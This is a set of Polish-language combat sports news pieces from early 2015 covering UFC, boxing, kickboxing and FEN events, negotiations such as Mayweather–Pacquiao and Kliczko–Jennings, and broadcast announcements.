W związku z całą sytuacją pojawiają się również kolejne interesujące fakty. Fantastyczny debiut Jana Błachowicza w UFC nie przeszedł bez echa. John efektownie i widowiskowo rozprawił się Ilirem Latifim. Teraz polski fighter czeka na kolejną walkę. Istnieje duże prawdopodobieństwo, że Błachowicza zobaczymy podczas planowanej (niezaplanowanej) gali w Polsce. Zawodnik Ankosu Zapasy Poznań po swoim debiucie w UFC zyskał pozytywne oceny i czeka kolejny pojedynek. Gdyby miało dojść do niego w Polsce… Coś fantastycznego. Z pewnością dla Johna spełnienie marzeń, wyróżnienie i radość, że pod egidą tak uznanej marki mógłby walczyć w ojczystym kraju. Bajkowo. A wręcz cudownie. Czekamy na potwierdzenie. Co do rywala, w tej kwestii nie ma żadnych informacji. Z pewnością UFC doskonale orientuje się, że Błachowicza stać na wiele i może rywalizować z najlepszymi.

Wiadomo, że o pas mistrzowski walczyć będzie Joanna Jędrzejczyk. Wydawało się, iż naturalne w tym wypadku byłoby zorganizowanie pojedynku w Polsce, jednak UFC ma nieco inne plany, co do naszej zawodniczki. Jędrzejczyk o pas mistrzowski rywalizować będzie z Carlą Esperzą na UFC 185 w Dallas. Wydarzenie będzie miało miejsce 14 marca.

""

Jędrzejczyk w UFC pojawiła się w lipcu ubiegłego roku. W wadze słomkowej Polka stoczyła dwa pojedynki, w których odniosła zwycięstwa. Wygrana z Claudią Gadelhą to ogromny sukces naszej zawodniczki. Rywalka postawiła wysokie wymagania Jędrzejczyk, ale w ostatecznym rozrachunku sędziowie uznali, że to fighterka znad Wisły zasłużyła na zwycięstwo. Dzięki dobrej postawie Polka dostała szansę walki o pas mistrzowski. Pojedynek z Esperzą jest niemalże pewny, jednak warto poczekać na oficjalne potwierdzenie ze strony organizatora.

Przy okazji warto wrócić do wydarzeń mających miejsce na UFC on FOX 13, a w zasadzie ich następstw. Wygrana Jędrzejczyk z Gadelhą pozwoliła Polce na określony dochód. Za sam pojedynek zawodniczka z Olsztyna zarobiła dziesięć tysięcy dolarów, dodatkowo za wygraną dostała kolejne dziesięć tysięcy. Najwięcej na UFC on FOX 13 zarobił Junior Dos Santos – dwieście sześćdziesiąt tysięcy.

Jędrzejczyk będzie walczyła o pas. Jana Błachowicza czeka kolejny pojedynek w UFC. Czy stoczy go w Polsce? Niewykluczone, że tak, jednak czekamy na potwierdzenie organizacji gali UFC w naszym kraju. Zamieszania wiele, a to dopiero domysły. Co będzie, gdy to wszystko się potwierdzi? Euforia. Co dalej? Jak to będzie? Musi się udać. Tylko spokojnie – bez nadmiernego pobudzania się.

KM

 

Bestia zaatakuje Stiverne’a

Deontay Wilder stanie 17 stycznia przed wielką szansą. Amerykański bokser zmierzy się z mistrzem świata federacji WBC wagi ciężkiej Bermane’m Stiverne’m. Czy wygra i będzie dzierżył w swych dłoniach pas?

Ten dzień może być wyjątkowy dla Wildera, jeśli oczywiście zwycięży. Jednakże pojawiają się głosy podważające umiejętności pięściarza. Krytycy Wildera uważają, że jest bokserem przeciętnym, który w żaden sposób nie zasłużył na walkę o pas mistrzowski. Czy Amerykanin zamknie usta swoim przeciwnikom? Z pewnością wygrana ze Stiverne’m byłaby najlepszą odpowiedzią, jednak wtedy mogą pojawić się głosy mówiące o tzw. farcie. Wilder doskonale zna to wszystko z autopsji. Po zwycięstwie w rywalizacji z Malikiem Scottem wielu kwestionowało sukces Amerykanina. Wilder staje do rywalizacji o pas mistrzowski WBC, ale przy okazji musi walczyć ze swoimi krytykami. Fakt, że docierają do niego takie informacje z pewnością nie pomaga mu. Z drugiej strony może obudzić się w nim sportowa złość, której fala eskalacji będzie miała miejsce w ringu. Coś, co fantastycznie obrazuje dialog z naszego, jakże fantastycznego, „Kilera”:

„- Masz być jak bulterier!

– Będę.

– Jak wściekły byk!

– Będę!

– Jak Tommy Lee Jones w Ściganym!

– Będę!”

W „Kilerze” miała miejsce motywacja pozytywna, gdy komisarz Ryba był „nakręcany” przez swojego szefa. Z kolei Wilder musi porzucić głosy krytyki i mieć na uwadze swoją wartość. A jeśli w nią wątpi – tu niezwykle ważna jest rola trenera i całego teamu. Być może te wszystkie głosy podziałają na Wildera jako motywacja. Motywacja do tego, aby coś udowodnić i uwiarygodnić się. Nie tyle w oczach tych ludzi, ale w swoich własnych. W takich sytuacjach często w człowieku rodzi się myśl zastanowienia nad kwestią własnego potencjału. Dla Wildera najważniejsza jest walka i na tym powinien się skupić. W ringu musi udowodnić swoją wartość.

W blasku fleszy Wilder wkroczy na ring w Las Vegas. Bokser, który ma na swoim koncie trzydzieści dwa zwycięstwa na zawodowym ringu liczy, że uda mu się zdobyć mistrzostwo świata. Byłoby to wydarzenie. Jakby nie patrzeć – od dłuższego czasu żaden Amerykanin nie królował w wadze ciężkiej. Wilder nie ma zamiaru oszczędzać swojego rywala: – Moim celem jest obudzić w sobie bestię. Jestem przygotowany do walki. Postaram się wskrzesić wagę ciężką. Znokautuję tego gościa i będzie on kolejnym, którego umieszczę w swoim rekordzie.

Bermane Stiverne do całej sprawy podchodzi spokojnie. Mistrz zapewnia, że nie ma mowy o presji. –  Naprawdę nie czuję żadnych emocji przed walką z Deontayem Wilderem. Najważniejsze jest, aby obronił tytuł – powiedział mistrz WBC.

Mistrz czy pretendent? Spokojny Stiverne stanie w ringu z Wilderem, który imponuje rekordem, ale przez wielu uważany jest za niegodnego mistrzowskiej walki. Czy głosy krytyki wzmocnią Amerykanina i sprawią, że będzie chciał udowodnić swoją wartość? Chyba nie na tym rzecz polega. Wilder jest profesjonalistą, więc do takich głosów musi być przyzwyczajony, ale nie ukrywajmy, że jest to dla niego test. Test z dojrzałości. Czy zaburzy spokój Stiverne’a? Musi obudzić w sobie bestię.

KM

ESPN Friday Night Fights z Verony i World Combat Games – premiery w FightKlubie

ESPN Friday Night Fights z Verony

Na wczesną pobudkę powinni być gotowi fani gal ESPN Friday Night Fights. W nocy z piątku na sobotę o g. 03:00 pokażemy drugą w tym roku walkę z tego cyklu. Powtórka w sobotę o g. 11:30. Tym razem obejrzymy dwóch zwycięzców turnieju Boxcino, organizowanego w zeszłym roku przez telewizję ESPN.W głównej walce wieczoru wystąpi triumfator turnieju w kategorii średniej – Willie Monroe Jr. “The Moongose” wygrał trzy turniejowe pojedynki z rzędu, w finale wysoko na punkty pokonując niezwyciężonego wcześniej Brandona Adamsa. Rywalem 28-letniego mańkuta będzie bardzo doświadczony Brian VeraW ciągu trwającej 11 lat kariery Amerykanin pokonywał już takich bokserów jak: Sergio Mora, Sergiej Dzinziruk, czy Andy Lee.

Inny zwycięzca turnieju “Boxcino” – Rosjanin Petr Petrov podejmie w 10 rundach w kategorii lekkiej zawodnika z bokserskiej Filadelfii, Henry’ego Lundy. Obie walki wydają się wyrównane, co powinno gwarantować emocjonującą noc z pięściarstwem na wysokim poziomie.

Premiera World Combat Games

W niedzielę (18.01) o g. 22:00 na antenie FightKlubu zadebiutują zawody World Combat Games. To światowe igrzyska sportów walki, w których w szranki stają specjaliści różnych stylów i czasami całkiem odmiennych specjalności. Obecnie w kalendarzu imprezy znajdują się takie dyscypliny jak: aikido, boks, szermierka, judo, ju-jitsu, karate, kendo, kickboxing, boks tajski, sambo, savate, sumo, taekwondo, zapasy i wushu. Pierwsza edycja zawodów odbyła się w 2010 roku w Pekinie i wzięło w niej udział ponad tysiąc sportowców z pięciu kontynentów. Kolejne World Combat Games zorganizowane zostały w ubiegłym roku w Sankt Petersburgu, a następne odbędą się w 2016 roku.

Źródło: materiały prasowe

Zapach unosi się w powietrzu

Już czuć, już coraz bliżej. Wydaje się, że zakontraktowanie pojedynku Floyd Mayweather Jr – Manny Pacquiao jest tylko kwestią czasu. Strony nadal rozmawiają, ale komunikaty puszczane w świat dają jasny sygnał, iż negocjacje są na dobrej drodze.

Nie ma chyba człowieka na naszej planecie, który wątpi, że dojdzie do rywalizacji Mayweathera z Pacquiao. Oczywiście, można powiedzieć, iż walka już się rozpoczęła. Chodzi rzecz jasna o walkę medialną, która podkręca całą atmosferę i nadaje jej charakter wielkiego oraz wyczekiwanego show. Fani boksu czekają na ten pojedynek jak na święto. Odkąd pojawiła się informacja o ewentualnym starciu Moneya i Pacmana stał się to temat powszechny i pierwszoplanowy. Niektórzy z pewnością zapomnieli, że jest ktoś taki jak Kliczko. A tak poważnie – Mayweather vs Pacquiao coraz bliżej.

Informowaliśmy, iż w związku z prawdopodobną rywalizacją Moneya i Pacmana swój pojedynek będzie musiał przełożyć Saul Alvarez. Meksykanin ma walczyć z Miguelem Cotto, jednakże strony nadal prowadzą negocjacje. Alvarez chciał stoczyć pojedynek w maju, ale fakt, iż w tym terminie ma odbyć się starcie Mayweathera z Pacquiao narodził konieczność zmiany planów przez Canelo. Wydarzenie. To będzie show, to będzie hit. Zapowiada się prawdziwe arcydzieło. Starcie Maywethera z Pacquiao może być mistrzowskim dziełem. Wydarzeniem, które już w tej chwili pobudza publiczność, a może ją jeszcze bardziej rozpalić. Atmosfera nakręca się sama. Co będzie się działo w dniu walki?

Najprawdopodobniej do starcia gigantów dojdzie 2 maja. Wskazują na to wszystkie znaki na niebie i ziemi. Mówi o tym sam Pacquiao: – Myślę, że stoczymy pojedynek z Maywetherem. Prawdopodobnie spotkamy się 2 maja. Należy czekać na potwierdzenie, a następnie na sam pojedynek – powiedział Pacman.

Hit. Tak najkrócej można nazwać walkę Mayweathera z Pacquiao. Jednakże warto zwrócić uwagę, iż obaj panowie spotykają się i spotkać się nie mogą. Od lat mówi się o rywalizacji Moneya i Pacquiao, ale dopiero teraz dochodzi do konkretów. Z jednej strony to cieszy, z drugiej staną naprzeciw siebie pięściarze, którzy rozpoczynają myślenie o emeryturze. Rzecz jasna – nie będzie to starcie dziadków, ale warto zauważyć, że to ostatni dzwonek.

Mayweather ma to do siebie, że wokół niego zawsze coś się dzieje. Trwają negocjacje z Pacquiao, a tu głos zabiera Amir Khan, który ma nadzieję na walkę z Moneyem.Chcę stoczyć walkę w maju. Myślę o rywalizacji z Mayweatherem, jednak nawet nie jesteśmy blisko rozmów w tej sprawie Daję jego teamowi 5 dni na decyzję i podjęcie kroków w tej sprawie. Jak powiada klasyk – gdzie dwóch się bije tam trzeci korzysta? Raczej nie.

Mayweather i Pacquiao niczym para młodych zakochanych czeka na termin ślubu. Niby wszystko ustalone, wszyscy wszystko wiedzą, tylko nie wiadomo kiedy. Trzeba  czekać. Tylko, żeby któraś ze stron się nie rozmyśliła. Na Mayweathera czeka kolejny rywal, ale Khan twierdzi, że Money obawia się go. Czekamy na wesele, może nas zaproszą.

KM

Kliczko negocjuje od początku

Brakowało tylko podpisów. Wszystko było ustalone – Kliczko i Jennings mieli stanąć twarzą w twarz. Niewykluczone, że tak będzie, ale droga do pojedynku znacznie wydłużyła się.

Cała sytuacja dotyczy faktu związania się promotora Jenningsa, Gary’ego Shawa, z należącą do Jay'a-Z grupą Roc Nation Sports. Team Ukraińca był gotowy do podpisania umowy na pojedynek z Jenningsem, jednak sprawy skomplikowały się. Decyzja Shawa sprawiła, że wszystkie ustalenia między stronami są nieważne i niewiążące. Promotor podpisując umowę o współpracy z Roc Nation Sports stał się pracownikiem grupy, która teraz odpowiada za interesy Bryanta Jenningsa.

Rozmowy między Kliczko, a Jeningsem zmierzały w dobrym kierunku. Poczyniono ustalenia dotyczące walki, które zaakceptowały obie strony. Do pełni szczęścia zabrakło tylko podpisów. – Wszystko było dogadane już w grudniu, ale po tym, jak Shaw sprzedał grupę musimy zacząć negocjować od nowa – powiedział Bernd Boente, odpowiedzialny za organizację walk Władimira Kliczko.

24 kwietnia na gali Barclays Center na Brooklynie swój pojedynek stoczy czempion federacji WBO/IBO/WBA/IBF  w wadze ciężkiej. Pytanie – z kim przyjdzie mu rywalizować? O potencjalnych zastępcach Jenningsa pisaliśmy już wcześniej – są to m.in. Briggs, Stiverne, Wilder. Jednakże okazuje się, że obóz Ukraińca wcale nie musi rozglądać się za kolejnym rywalem. Po prostu trzeba wrócić do początkowej fazy negocjacji z Jenningsem, na co przystał team Kliczko. Przedstawiciele ukraińskiego mistrza już rozpoczęli rozmowy z grupą Roc Nation Sports.

Strony chcą doprowadzić do starcia Kliczko – Jennings. Być może w negocjacjach przydatny okaże się materiał z wcześniejszych rozmów. Oczywiście dla Roc Nation Sports doprowadzenie do zakontraktowania walki z Kliczko byłoby ogromnym sukcesem. Zarówno dla samej grupy, a przede wszystkim dla pretendenta. Warto zaznaczyć, że w obecnym układzie pozycję dominującą ma obóz Ukraińca, choć nie ulega wątpliwości, iż wcześniej też tak było. Niezwykle cenny w tym wypadku jest czas, więc przedłużanie rozmów może być złym rozwiązaniem dla Jenningsa. – Mamy nadzieję, że uda się podpisać umowę na ten pojedynek w połowie tego tygodnia – powiedział Boente.

Co w przypadku przedłużenia negocjacji i niemożności osiągnięcia porozumienia? Obóz mistrza świata przygotowany jest na takie rozwiązanie. Team Ukraińca nie ujawnia swoich planów awaryjnych, ale poważnie bierze pod uwagę, że może nie porozumieć się z obozem Jenningsa. Niewykluczone, iż Kliczko stosuje malutki szantaż, aby jak najszybciej podpisać umowę. Nie ma się, co dziwić, gdyż team czempiona stracił trochę cennego czasu, który mógł przeznaczyć na promocję pojedynku. Niewykluczone jest również przeniesienie pojedynku mistrza świata do Europy w przypadku braku porozumienia z Jenningsem.

W kuluarach pojawiły się informacje na temat ewentualnego starcia Kliczki z pretendentem do tytułu WBO w wadze ciężkiej Tysonem Fury’m. Ponoć promotorzy Brytyjczyka kontraktowali się z obozem czempiona. Team Ukraińca nie wyklucza tej walki, jednak nie dojdzie do niej w kwietniu.

Jennings ma ograniczony czas. Negocjacje startują od początku. Było tak blisko porozumienia, a cała sprawa skomplikowała się. Obóz Ukraińca liczy na szybkie rozstrzygnięcie. Jennings liczy na to, że dostanie szansę. Wszystko w rękach jego teamu.

KM

Na start po sukcesy

Co będzie działo się w kickboxingu w 2015 roku? Z pewnością nie zabraknie wrażeń, pełnych kwintesencji i kunsztu walk oraz  sukcesów. Nasi reprezentanci są potęgą, siłą oraz czołową ekipą na świecie, więc o wyniki możemy być spokojni. Obyśmy mieli okazję jak najczęściej słyszeć Mazurka Dąbrowskiego  na imprezach rangi mistrzowskiej.

Mając na uwadze przyszłość na chwilę cofnijmy się w przeszłość. Rok 2014 był udany dla polskiego kickboxingu. Wydarzenia ostatnich miesięcy potwierdzają ten fakt w zupełności. Iwona Nieroda obroniła pas mistrzyni świata WAKO PRO Low Kick w kategorii do 56 kg. Z kolei Wojciech Wierzbicki sięgnął po zawodowe mistrzostwo Europy WAKO-PRO Low-Kick kat-75 kg. Ponadto, nasza reprezentacja przywiozła z mistrzostw Europy WAKO w Bilbao aż piętnaście krążków, z ME w Mariborze czternaście. Mało? Apetyt rośnie w miarę jedzenia.

Już w lutym czekają nas mistrzostwa Polski seniorów w kick-light. Impreza odbędzie się w dniach 13 – 15 lutego w Kartuzach. Na początku marca w Kobyłce będą miały miejsce mistrzostwa Polski seniorów i juniorów w low – kick. W marcu (13-15) kickboxing będzie królował w Ożarowie Mazowieckim. W podwarszawskiej miejscowości zobaczymy w akcji juniorów i seniorów w full contact. Z tym, że młodzi adepci rywalizować będą w mistrzostwach Polski, a doświadczeni fighterzy powalczą w Pucharze Polski. W kwietniu sytuacja odwróci się. Poznań będzie gościł najlepszych polskich fighterów w formule full- contact. Z tym, że juniorzy powalczą o Puchar Polski, a seniorzy o mistrzostwo kraju. Maj jest pięknym miesiącem, w którym można się zakochać i przeżyć piękne chwile. Niezapomniane wrażenia czekają nas w Legnicy (22-24 maja), gdzie odbędą się mistrzostwa Polski K-1 juniorów i seniorów. W listopadzie w Jarosławiu odbędzie się Puchar Polski Low Kick. Mistrzostwa Polski Oriental Rules Juniorów i Seniorów zaplanowano na grudzień.

Rywalizacja na poziomie europejskim i światowym zapowiada się emocjonująco. Nasi reprezentanci będą jeździli po świecie nie w celach turystycznych, lecz jako prawdziwi zdobywcy, którzy osiągają szczyty. W marcu (6-8) odbędzie się Irish Open International 2015 w Dublinie. Pod koniec kwietnia warto wybrać się do Austrii. Tam odbędzie się Puchar Świata Austrian Classic Innsbruck. 29 sierpnia – 5 września będzie czasem ogromnych emocji. W Hiszpanii w akcji zaprezentują się młodzi fighterzy podczas Mistrzostw Europy Kadetów i Juniorów WAKO. Październik stanie pod znakiem Mistrzostw Świata Seniorów WAKO Low Kick, K-1 Rules, 
Kick Light. Rywalizacja najlepszych odbędzie się w Serbii w dniach 21 – 30 października. Wtedy ze szczególną uwagą będziemy czekać na melodię Mazurka Dąbrowskiego. Kamil Ruta po raz kolejny? A może ktoś inny? Wroński, Narloch, Bieć, Walkiewicz? Na przełomie października i listopada odbędą się Mistrzostwa Świata Seniorów, Weteranów WAKO Light Contact, Full Contact, Pointfighting, Formy przy Muzyce.

Ważne wydarzenie będzie miało miejsce w lutym. 28 lutego odbędą się obchody dwudziestopięciolecia Polskiego Związku Kickboxingu. Wydarzenie warte uwagi. Kickboxing w Polsce rozwija się i stawia kroki naprzód. Duża w tym zasługa PZKb, który w tym roku obchodzi jubileusz ćwierćwiecza.

Wydarzeń pełnych wrażeń na pewno nie zabraknie. Z pewnością każda impreza dostarczy wiele materiałów do przemyśleń. Do tego należy dodać szczyptę radości, pełne kunsztu walki i sukcesy. Palce lizać! Znaczy musi się udać.

KM

Paweł Kołodziej

Polski bokser urodzony 24 września 1980 roku w Krynicy-Zdroju walczący w kategorii wagowej junior ciężkiej. W Krynicy-Zdroju początkowo trenował taekwondo, jednak po nie długim czasie zmienił dyscyplinę na kickboxing. Jako reprezentant klubu Athletics Poznań zdobył złoty medal w Węgrowie na młodzieżowych mistrzostwach Polski. Jako senior zdobył czterokrotnie Puchar Polski oraz Mistrzostwo Polski w formule Full-Contact.  Na zawodowym ringu bokserskim zadebiutował 25 września 2004 roku, gdzie po 4 rundowym pojedynku pokonał Słowaka Sylvestra Petrovica.  1 lipca 2006 roku zdobył tytuł młodzieżowego mistrza świata federacji WBC, nokautując Węgra Adriana Rajkaia.  24 lutego 2007 roku po raz pierwszy obronił młodzieżowy pas WBC pokonując Gruzina Armena Aziziana. Niemal rok później po raz drugi obronił pas młodzieżowego mistrza świata federacji WBC wygrywając z Węgrem Laszlo Hubertem.  20 czerwca 2009 roku zdobył pas mistrza świata federacji IBC w kategorii junior ciężkiej.  W walce o ten tytuł pokonał Czecha Romana Kracika.  18 grudnia tego samego roku obronił pas federacji IBC, pokonując w 6 rundzie przez TKO Amerykanina Roba Callowaya. 20 marca 2010 roku Paweł stoczył swój 25 pojedynek na zawodowych ringach.  Kołodziej w tym starciu zdobył pas mistrza świata federacji WBF, pokonując w 3 rundzie Anglika Marka Krence’a. 12 czerwca 2010 roku po raz pierwszy obronił tytułu mistrza świata federacji WBF pokonując Kameruńczyka z Francuskim paszportem Parfaita Amougui Amougu.  Walka ta odbyła się w Krynicy-Zdrój. 20 listopada 2010 roku Paweł pokonał Johna McClaina, zdobywając tymczasowy tytuł Mistrza Państw Bałtyckich federacji WBC.  5 marca 2011 roku Polak zmierzył się z Felixem Corą Jr. o pasy WBA International i WBC Baltic. Po 12 rundowym pojedynku jednogłośnie na punkty zwyciężył Paweł. 12 listopada 2011 roku Paweł pas WBA International pokonując w 2 rundzie Mauro Adriana Ordialesa. 17 marca 2012 roku Polak pokonał jednogłośnie na punkty Giuliana LLie. Stawką pojedynku był interkontynentalny pas IBF. 20 kwietnia 2013 roku Paweł pokonał Richarda Halla. Była to pierwsza walka po 13 miesięcznej przerwie spowodowanej kontuzją. 15 czerwca 2013 roku podczas gali Wojak Boxing Night, Paweł pokonał Argentyńczyka Cesara Crennza. 23 listopada na kolejnej gali Wojak Boxing Night , Kołodziej pokonał Princa Anthony Ikeji. 27 września 2014 roku Kołodziej walczył po raz pierwszy o pas mistrza świata federacji WBA. Pojedynek ten przegrał z Denisem Lebiediewem. Była to pierwsza porażka której doznał Polak w zawodowej karierze bokserskiej. 

FEN: Efektowny Biszczak

Piąta gala FEN zakończyła się godnie. Paweł Biszczak zwyciężył po królewsku. Polski zawodnik zakończył walkę w sposób widowiskowy, a przede wszystkim skuteczny. W całości zaprezentował swój kunszt i niezwykłe umiejętności.

Biszczak stoczył pojedynek w formule K-1 77 kg z zawodnikiem z Portugalii – Jano Cruzem. Zdecydowanym faworytem starcia był Polak, którego klasa i możliwości sprawiały, że publiczność zgromadzona na gali w Lubinie oczekiwała prawdziwego show. Biszczak nie zawiódł, choć początkowo niektórym serce szybciej zabiło w obawie o naszego fightera. Cruz okazał się twardym zawodnikiem, który podjął walkę, a nie uciekał od niej. Od początku zawodnicy ruszyli na siebie. Portugalczykowi udało się trafić solidnymi ciosami bokserskimi w głowę Biszczaka. Cruz poczuł siłę i chciał więcej, jednakże Polak  w doskonałym momencie „ukłuł” przeciwnika. Biszczak wykonał ruch, którym zamarkował kopnięcie i zmylił Portugalczyka. Polak potężnie trafił Cruza. Lewe okrężne kopnięcie na wątrobę zrobiło wrażenie na Portugalczyku, który znalazł się na deskach. Cruz nie dał rady podnieść się i kolejne zwycięstwo Biszczaka stało się faktem. Tego oczekiwała publiczność. Efektów specjalnych jak w najlepszym hoolywodzkim filmie. Biszczak uświetnił galę FEN 5 i pokazał organizatorom, że warto na niego stawiać.

Podczas gali w Lubinie odbyło się łącznie dziesięć  walk – pięć w formule K-1 i pięć w MMA. Warto odnotować zwycięstwo Jakuba Kozery w K-1  125 kg. Polski fighter na punkty pokonał Czecha Vilema Fencla. Kozera wykorzystał swoją przewagę fizyczną, kontrolował cały pojedynek, ale sędziowie mieli pewne wątpliwości, jednak niejedno głośną decyzją wygrał Polak. Organizatorzy zaplanowali dwie walki wieczoru. Oprócz pojedynku Biszczak – Cruz, doszło również do starcia Marcina Zontka z Krzysztofem Pietraszakiem w MMA, w którym górą był ten pierwszy. Po pierwszej rundzie Pietraszak nie był zdolny do kontynuowania pojedynku. Ciekawie wyglądała rywalizacja Bartosza Muszyńskiego i Tomasa Guta w K-1 81 kg. Słowak był bardzo ruchliwy i starał się zadawać wiele ciosów, które nie dochodziły do celu. Muszyński jak atakował to porządnie Polak zadawał mocne ciosy, po których na twarzy Guta widać było grymas bólu. Mimo to Słowak wytrzymał cały dystans walki. Sędziowie uznali, że zwycięstwo należy się Muszyńskiemu.

Piątą gala organizacji FEN z pewnością należy zaliczyć do kategorii ciekawych. Połączenie K-1 i MMA to interesujące rozwiązanie dla publiczności. Przede wszystkim organizatorzy dostarczają różnorodności. Widzowie mogą zobaczyć rywalizację w stójce i w parterze – efektowne kopnięcia i zapasy. W Lubinie swoją wartość udowodnił Paweł Biszczak, który pokonał Jano Cruza. Warto nadmienić, że na dziewięć walk wszystkie zakończyły się zwycięstwami Polaków.

Organizacja FEN zapowiada już kolejną galę. Na mapie Polski w siłę rośnie kolejna organizacja związana ze sztukami walki. FEN chce trafić do szerszego audytorium. Czy po kolejnej gali FEN zawojuje Polskę?

Wyniki FEN 5:

Walki wieczoru

K-1 77 kg: Paweł Biszczak pok. przez KO w pierwszej rundzie Janu Cruza
MMA 93 kg: Marcin Zontek pok. Krzysztofa Pietraszaka

Karta główna

K-1 81 kg: Bartosz Muszyński pok. przez decyzję Tomasa Guta
MMA 77 kg: Michał Michalski pok. Adama Niedźwiedzia
K-1 125 kg: Jakub Kozera pok. przez decyzję Vilema Fencla 
MMA 77 kg: Paweł Kordylewicz pok. Georgiya Budkę
K-1 54 kg: Patrycja Krawczyk pok. przez decyzję Alexandrę Jursovę
MMA 77 kg: Patryk Paduch pok. Antona Shimuka
MMA 70 kg: Maciej Kruszewski pok. Yuria Bybochkina

Walka eliminacyjna:

70 kg K-1: Kamil Kaczmarczyk pok. Przez decyzję Jakuba Kozerę

KM

Gale ESPN od 2015 roku na wyłączność w telewizji FightKlub.

Stacja FightKlub pozyskała ekskluzywne prawa do transmisji, doskonale znanej bokserskim kibicom, serii gal ESPN Friday Night Fights. Nowy kontrakt będzie obowiązywał od stycznia 2015 roku. Pierwsza impreza z tego cyklu odbędzie się w najbliższy piątek (09.01.15) w Santa Ynez w Kalifornii, gdzie w głównym wydarzeniu wieczoru Darleys Perez podejmie Johnathana Maicelo w starciu o tymczasowy tytuł mistrza świata WBA wagi lekkiej. Podczas tej samej imprezy wystąpi między innymi zaliczany do czołówki wagi ciężkiej Kubańczyk Mike Perez oraz występujący w kategorii junior półśredniej Francisco Santana. Na transmisję gali Friday Night Fights z Kalifornii telewizja FightKlub zaprasza w nocy z piątku na sobotę od godzinie 03.00. Powtórka zaplanowana jest na sobotę 10 stycznia na godzinę 11.30.

 

W ostatnich latach mająca długie tradycje seria ESPN Friday Night Fights nie była regularnie pokazywana na żywo przez żadną polską telewizję.

Źródło: materiały prasowe

Canelo dopiero w czerwcu?

Saul Alvarez miał zupełnie inny plan. Canelo założył sobie za cel walkę z mistrzem świata federacji WBC wagi średniej Miguelem Cotto i dąży, aby tak się stało. Obecnie prowadzone są negocjacje w sprawie pojedynku. Problem w tym, że Alvarez bardzo chciał walczyć w maju, ale na tym etapie pojawiła się inna propozycja. Propozycja, z której Canelo nie jest zadowolony.

Alvarez bardzo chce stoczyć pojedynek w maju dla siebie i swoich rodaków. Otóż, 5 maja Meksykanie obchodzą rocznicę bitwy pod Puelbą. Canelo zwycięstwem chciał uczcić ten szczególny dzień i oddać cześć bohaterom. Warto zauważyć, że jest to postawa patriotyczna boksera, który zarazem uświadamia społeczeństwo i dba o tradycję. Z tym, że chęci Canelo to jedno, a rzeczywistość to drugie.

Niewykluczone, że do rywalizacji Alvareza z Cotto dojdzie 6 bądź 13 czerwca w Nowym Jorku. Podyktowane jest to faktem, iż coraz bardziej zaawansowane są rozmowy na temat walki Floyda Mayweathera Jr z Manny Pacquiao. Money i Pacman mieliby stanąć w ringu 2 maja. Wydaje się, iż to jest główny powód ewentualnej zmiany terminu pojedynku Canelo – Cotto. Alvarez bardzo chce wejść do ringu 2 maja, jednak z marketingowego, medialnego oraz sportowego punktu widzenia Meksykanin może dużo stracić, jeśli w tym samym dniu rywalizowaliby Mayweather z Pacquiao.

Sam fakt, iż za oba pojedynki potencjalny widz musiałby zapłacić (system PPV) powoduje, że Canelo i Cotto wypadają zdecydowanie gorzej. Większe zainteresowanie budzi walka Mayweathera z Pacquiao, więc próba zakontraktowania starcia w tym samym terminie byłoby prawdziwym samobójstwem. Alvarez zdrowo podchodzi do tej kwestii i jest gotowy do kompromisu. Dla Meksykanina istotne jest starcie z Cotto, do którego od dłuższego czasu dąży.

Jak obecnie wyglądają negocjacje? Idą do przodu. – Obecnie jesteśmy dogadni w 60%. Rozmowy są coraz bardziej zaawansowane, ponieważ grupa Golden Boy oraz 'Canelo' zaczęli wykazywać się elastycznością i są skłoniają się ku naszym rozwiązaniom. Cotto będzie tym, który zadecyduje, czy walka odbędzie 6 czy 13 czerwca – powiedział Gabriel Peñagarícano doradca mistrza federacji WBC wagi średniej. Istotą sprawy jest kwestia samej walki. Fakt, że Canelo jest gotowy do kompromisu w sprawie terminu pojedynku pokazuje, że Meksykanin chce wrócić na szczyt. Czy Cotto mu na to pozwoli? Były mistrz świata federacji WBA/WBC wagi junior średniej rozpoczął medialną grę, w której szukał kontaktu z Portorykańczykiem. Cotto do całej sprawy podchodzi spokojnie i czeka na efekty negocjacji. Głos w kwestii ewentualnej walki zabrał Freddie Roach. Trener Cotto jasno dał do zrozumienia, co się stanie, jeśli dojdzie do tej rywalizacji. – Canelo nie będzie już taki ładny po tym pojedynku. Warto się o tym przekonać. 6 albo 13 czerwca w Nowy Jorku. Decyzja po stronie Cotto, ale negocjacje jeszcze trwają.

KM

Kliczko szuka rywala

Wydawało się, że najbliższym rywalem czempiona IBF/IBO/WBA/WBO wagi ciężkiej Władimira Kliczki będzie Bryant Jennings. Od dłuższego czasu trwały negocjacje między stronami, które zmierzały w dobrym kierunku. Okazuje się,  że wokół pojedynku narodziły się pewne problemy.

Jennings, który w swojej karierze pokonał Artura Szpilkę, miał być kolejny wyzwaniem dla ukraińskiego mistrza. Negocjacje między stronami postępowały i wydawało się, że do potwierdzenia walki brakuje jedynie podpisów. Termin i miejsce pojedynku są już znane. Kliczko będzie walczył 25 kwietnia w  w hali Barclays Center na Brooklynie. Czy z Jenningsem? Między stronami pojawiły się pewne nieścisłości, co sprawia, że negocjacje utknęły w martwym punkcie. Czy strony osiągną konsensus? Team Ukraińca daje sobie jeszcze dwa tygodnie na rozstrzygnięcie sprawy. Jeśli nie dojdzie do porozumienia z Jenningsem to jego miejsce zajmie inny pięściarz.

Rywalem ukraińskiego mistrza mógłby być Shannon Briggs. Bokser już wcześniej był wymieniany w gronie kandydatów do pojedynku z mistrzem wagi ciężkiej. Drugą opcją dla Kliczki jest walka ze zwycięzcą starcia Bermane Stiverne vs Deontay Wilder, które odbędzie się 17 stycznia. Kwestią podstawową jest, aby ewentualny rywal Kliczki był gotowy do pojedynku 25 kwietnia i został zaakceptowany przez HBO i RTL.

Briggs, Stiverne oraz Wilder mają szansę dostać niepowtarzalną okazję, aby walczyć o ogromny dorobek wagi ciężkiej. Wszystko tak naprawdę zależy od Bryanta Jenningsa. Amerykanin został zaakceptowany przez HBO jako kolejny rywal Kliczki, ale nie jest to taki kaliber pięściarza, który gwarantuje określony zysk. Jennings obecnie ma zbyt wysokie wymagania finansowe, co do walki z Ukraińcem. Zdecydowanie musi je obniżyć. Strona mistrza z pewnością chciałaby osiągnąć określony zysk, ale przy obecnych żądaniach Amerykanina i uwzględnieniu wpływów z innych źródeł nie byłaby to kwota satysfakcjonująca. Jennings jest utalentowany bokserem, który może osiągnąć sukces w boksie, jednak na obecną chwilę nie jest aż tak popularny we własnym kraju, aby napędzić całą machinę medialno – marketingową. Rzecz jasna, nazwisko Kliczki robi swoje, ale rywal też ma w tym wypadku znaczenie.

